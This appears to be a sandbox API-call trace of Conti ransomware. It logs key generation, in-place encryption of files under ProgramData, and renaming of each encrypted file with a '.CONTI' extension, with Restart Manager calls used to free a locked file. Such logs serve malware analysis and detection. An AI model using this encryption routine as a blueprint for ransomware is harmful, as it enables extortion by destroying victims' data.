	[0098.635] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x266
	[0098.635] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.635] SetEndOfFile (hFile=0x350) returned 1
	[0098.635] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.635] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.635] WriteFile (in: hFile=0x350, lpBuffer=0x17e9904*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x17e9904*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0098.639] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.639] ReadFile (in: hFile=0x350, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x266, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x266, lpOverlapped=0x0) returned 1
	[0098.640] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x266, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x270) returned 1
	[0098.640] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.640] WriteFile (in: hFile=0x350, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x270, lpOverlapped=0x0) returned 1
	[0098.640] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.640] WriteFile (in: hFile=0x350, lpBuffer=0x17e98f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x523fe68, lpOverlapped=0x0 | out: lpBuffer=0x17e98f8*, lpNumberOfBytesWritten=0x523fe68*=0x8, lpOverlapped=0x0) returned 1
	[0098.640] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.640] CloseHandle (hObject=0x350) returned 1
	[0098.641] GetProcessHeap () returned 0x1720000
	[0098.641] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0098.641] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml"
	[0098.641] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml.CONTI"
	[0098.641] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml.conti")) returned 1
	[0098.642] GetProcessHeap () returned 0x1720000
	[0098.642] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0098.642] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0098.642] GetProcessHeap () returned 0x1720000
	[0098.642] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0428 | out: hHeap=0x1720000) returned 1
	[0098.642] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0099.465] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17d3688 | out: phKey=0x17d3688*=0x17c7d70) returned 1
	[0099.465] CryptExportKey (in: hKey=0x17c7d70, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d368c, pdwDataLen=0x523fe64 | out: pbData=0x17d368c*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0099.466] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\s321033.hash")) returned 0x20
	[0099.466] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\s321033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0
	[0099.466] GetLastError () returned 0x0
	[0099.466] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=102) returned 1
	[0099.466] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x66
	[0099.466] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.466] SetEndOfFile (hFile=0x3c0) returned 1
	[0101.778] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.778] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.778] WriteFile (in: hFile=0x3c0, lpBuffer=0x17d368c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x17d368c*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0102.710] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.710] ReadFile (in: hFile=0x3c0, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x66, lpOverlapped=0x0) returned 1
	[0102.710] CryptEncrypt (in: hKey=0x17c7d70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x66, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x70) returned 1
	[0102.710] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.710] WriteFile (in: hFile=0x3c0, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x70, lpOverlapped=0x0) returned 1
	[0102.710] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.710] WriteFile (in: hFile=0x3c0, lpBuffer=0x17d3680*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x523fe68, lpOverlapped=0x0 | out: lpBuffer=0x17d3680*, lpNumberOfBytesWritten=0x523fe68*=0x8, lpOverlapped=0x0) returned 1
	[0102.710] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.710] CloseHandle (hObject=0x3c0) returned 1
	[0103.422] GetProcessHeap () returned 0x1720000
	[0103.422] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6565f18
	[0103.423] lstrcpyW (in: lpString1=0x6565f18, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash"
	[0103.423] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash.CONTI"
	[0103.423] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\s321033.hash"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\s321033.hash.conti")) returned 1
	[0104.252] GetProcessHeap () returned 0x1720000
	[0104.252] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6565f18 | out: hHeap=0x1720000) returned 1
	[0104.253] CryptDestroyKey (hKey=0x17c7d70) returned 1
	[0104.253] GetProcessHeap () returned 0x1720000
	[0104.253] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8f58 | out: hHeap=0x1720000) returned 1
	[0104.253] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0104.988] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17d5b08 | out: phKey=0x17d5b08*=0x17c84f0) returned 1
	[0104.988] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5b0c, pdwDataLen=0x523fe64 | out: pbData=0x17d5b0c*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0104.989] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json")) returned 0x120
	[0104.989] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.989] GetLastError () returned 0x5
	[0104.989] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0104.989] GetProcessHeap () returned 0x1720000
	[0104.989] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8780 | out: hHeap=0x1720000) returned 1
	[0104.989] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0105.432] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17d3fa8 | out: phKey=0x17d3fa8*=0x17c81b0) returned 1
	[0105.432] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3fac, pdwDataLen=0x523fe64 | out: pbData=0x17d3fac*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0105.433] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml")) returned 0x20
	[0105.433] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.433] GetLastError () returned 0x5
	[0105.433] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0105.433] GetProcessHeap () returned 0x1720000
	[0105.434] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cbc10 | out: hHeap=0x1720000) returned 1
	[0105.434] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0106.334] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17d3440 | out: phKey=0x17d3440*=0x17c8070) returned 1
	[0106.334] CryptExportKey (in: hKey=0x17c8070, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3444, pdwDataLen=0x523fe64 | out: pbData=0x17d3444*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0106.335] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db")) returned 0x220
	[0106.335] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0106.335] GetLastError () returned 0x20
	[0106.335] RmStartSession () returned 0x0
	[0107.580] RmRegisterResources () returned 0x0
	[0107.596] RmGetList () returned 0xea
	[0110.248] RmShutdown () returned 0x15e
	[0114.550] RmEndSession () returned 0x0
	[0114.556] CryptDestroyKey (hKey=0x17c8070) returned 1
	[0114.556] GetProcessHeap () returned 0x1720000
	[0114.556] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17410d0 | out: hHeap=0x1720000) returned 1
	[0114.556] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0114.556] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x6b50df8 | out: phKey=0x6b50df8*=0x6b7ecb8) returned 1
	[0114.556] CryptExportKey (in: hKey=0x6b7ecb8, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50dfc, pdwDataLen=0x523fe64 | out: pbData=0x6b50dfc*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0114.558] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\85__connections_cellular_cytamobile-vodafone (cyprus)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0116.560] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\85__connections_cellular_cytamobile-vodafone (cyprus)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0116.562] GetLastError () returned 0x0
	[0116.562] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=719) returned 1
	[0116.562] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf
	[0116.562] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.562] SetEndOfFile (hFile=0x37c) returned 1
	[0116.562] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.562] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.562] WriteFile (in: hFile=0x37c, lpBuffer=0x6b50dfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x6b50dfc*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0116.608] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.608] ReadFile (in: hFile=0x37c, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x2cf, lpOverlapped=0x0) returned 1
	[0116.608] CryptEncrypt (in: hKey=0x6b7ecb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x2cf, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x2d0) returned 1
	[0116.608] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.608] WriteFile (in: hFile=0x37c, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x2d0, lpOverlapped=0x0) returned 1
	[0116.608] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.608] WriteFile (in: hFile=0x37c, lpBuffer=0x6b50df0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x523fe68, lpOverlapped=0x0 | out: lpBuffer=0x6b50df0*, lpNumberOfBytesWritten=0x523fe68*=0x8, lpOverlapped=0x0) returned 1
	[0116.608] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.608] CloseHandle (hObject=0x37c) returned 1
	[0116.609] GetProcessHeap () returned 0x1720000
	[0116.609] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x658fec8
	[0116.609] lstrcpyW (in: lpString1=0x658fec8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml"
	[0116.609] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml.CONTI"
	[0116.609] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\85__connections_cellular_cytamobile-vodafone (cyprus)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\85__connections_cellular_cytamobile-vodafone (cyprus)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0116.610] GetProcessHeap () returned 0x1720000
	[0116.610] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x658fec8 | out: hHeap=0x1720000) returned 1
	[0116.610] CryptDestroyKey (hKey=0x6b7ecb8) returned 1
	[0116.610] GetProcessHeap () returned 0x1720000
	[0116.610] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ca260 | out: hHeap=0x1720000) returned 1
	[0116.610] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0116.610] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e730 | out: phKey=0x6b4e730*=0x6b7ea38) returned 1
	[0116.610] CryptExportKey (in: hKey=0x6b7ea38, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e734, pdwDataLen=0x523fe64 | out: pbData=0x6b4e734*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0116.611] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.67")) returned 0x20
	[0116.612] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.67"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0116.613] GetLastError () returned 0x0
